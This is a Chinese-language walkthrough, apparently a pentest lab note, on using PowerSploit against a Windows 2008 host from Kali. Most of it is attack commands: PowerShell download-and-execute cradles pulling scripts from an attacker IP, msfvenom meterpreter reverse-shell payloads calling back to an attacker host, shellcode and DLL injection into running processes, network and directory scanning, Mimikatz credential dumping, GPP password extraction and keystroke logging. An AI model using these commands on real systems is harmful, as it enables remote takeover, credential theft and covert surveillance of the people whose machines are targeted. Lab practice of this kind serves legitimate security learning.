内网中的PowerSploit
靶机 Win2008
攻击机 Kali
Powershell下载命令
获取补丁
1 | Get-WmiObject -Class Win32_QuickFixEngineering |
一句话下载
1 | IEX(New-Object Net.WebClient).DownloadString("http://192.168.107.1/PS1/Invoke-Shellcode.ps1) |
Shellcode Injection
Invoke-Shellcode.ps1-Shellcode注入
- 先在win2008上下载攻击机上的ps脚本
1 | IEX(New-Object Net.WebClient).DownloadString("http://192.168.107.1/PS1/Invoke-Shellcode.ps1) |

- Kali下生成生成马
1 | root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.107.145 lport=4444 -f powershell -o /root/桌面/test1 |

- 开启监听
1 | msf > use exploit/multi/handler |
- 靶机加载shellcode
打开msf生成的ps1脚本,获取$buf的值

1 | # 括号为$buf值 |
也可以注入到别的进程里(这里以explorer的3508为例)
1 | Invoke-Shellcode -ProcessID 3508 -Shellcode @() |
DLL Injection
Invoke-DllInjection.ps1-DLL注入
步骤类似
- 下载
1 | IEX(New-Object Net.WebClient).DownloadString("http://192.168.107.1/PS1/Invoke-DllInjection.ps1) |
- mfs生成dll
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.107.146 lport=4444 -f dll -o /root/桌面/msf.dll |
- 开启监听
1 | msf > use exploit/multi/handler |
- dll注入
1 | Invoke-DllInjection -ProcessID 464 -Dll C:\Users\Administrator.WIN2008\Desktop\msf.dll |
Scan
Invoke-Portscan.ps1-端口扫描
1 | Invoke-Portscan -Hosts 192.168.107.1/24 -Ports 80 |

Get-ComputerDetails-获得登录信息
PowerView.ps1-域枚举等功能
Get-HttpStatus.ps1-目录扫描
1 | Get-HttpStatus -Target '192.168.107.1' -Path ${字典} |
Invoke-ReverseDnsLookup-扫描内网主机的ip对应的主机名

AV
Find-AVSignature.ps1-杀软签名
Password
Invoke-Mimikatz.ps1-管理员权限
1 | Invoke-Mimikatz -DumpCreds |

Get-GPPPassword.ps1
Get-Keystrokes.ps1 - 键盘记录

